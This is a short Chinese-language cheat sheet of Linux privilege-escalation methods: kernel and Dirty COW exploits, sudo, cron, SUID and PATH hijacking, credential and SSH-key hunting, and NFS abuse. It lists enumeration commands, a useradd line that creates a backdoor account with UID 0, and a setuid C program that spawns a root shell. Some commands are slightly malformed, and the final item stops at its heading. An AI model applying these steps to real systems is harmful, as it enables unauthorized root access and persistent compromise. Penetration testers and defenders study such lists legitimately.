1.內核提權,根據版本搜索相應exp
查看操作系統版本命令
uname –a
lsb_release –a
cat /proc/version 查看內核版本
cat /etc/issue 查看發行類型
2.sudo提權
要求sudo版本小於1.2.28 且/etc/sudoers有用戶設置
先查看/etc/sudoers配置
提權
3.計划任務提權(主要是用於權限維持)
查看計划任務 cat /etc/crontab /var/spool/cron(crontab –e 生成的計划任務)
如果有權限編輯則編輯計划任務的相應腳本。
Crontab –e 編寫提權文件
4. suid提權
find / -user root –perm -4000 print 2>/dev/null //這里是find bash vim less more cp mv 等命令(因為這些命令有執行系統命令的參數,主要查看是否具有s權限)
5.環境變量劫持提權(當可執行文件執行的命令時,從當前開始尋找需要的參數。//這里是ps)
- 尋找suid的文件
find / -user root –perm -4000 print 2>/dev/null
當前文件夾創建ps,添加/bin/sh到ps中,shell為demo.c編譯后的文件,當運行shel后,shel會從當前環境目錄尋找到ps並調用,達到提權的目的。
6. 臟牛提權
1.下載臟牛exp,生成可執行文件
2. 執行文件,查看權限
mv /tmp/passwd.bak /etc/passwd 備份后還原root賬號
useradd -p 123456 db -o -u 0 -g root 創建root權限賬號
7.根據服務提權,攻擊高權限運行的服務獲取權限
ps –aux | grep root
ps –ef | grep root
dpkg –l 查看安裝的應用程序
8.查看文件中的弱密碼
grep –i pass filename
/var/spool/mail/root 查看用戶是否存在敏感信息信息
/root/.ssh 查看秘鑰信息
9.利用NFS獲取權限
- cat /etc/exports
2. 當前為任意機器可連接,攻擊機掛載(kali用nfs-common,centos用nfsutil )
showmount 192.168.83.134 查看
mount -t nfs 192.168.83.134:/tmp /tmp/test 掛載(/tmp共享的)
3. 創建.c文件,上傳到共享(若配置不安全可以附加權限 suid類似)
4.要提權服務器執行文件
2.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(){
setuid(0);
system("/bin/bash");
return 0;
}
10.通配符注入(chown)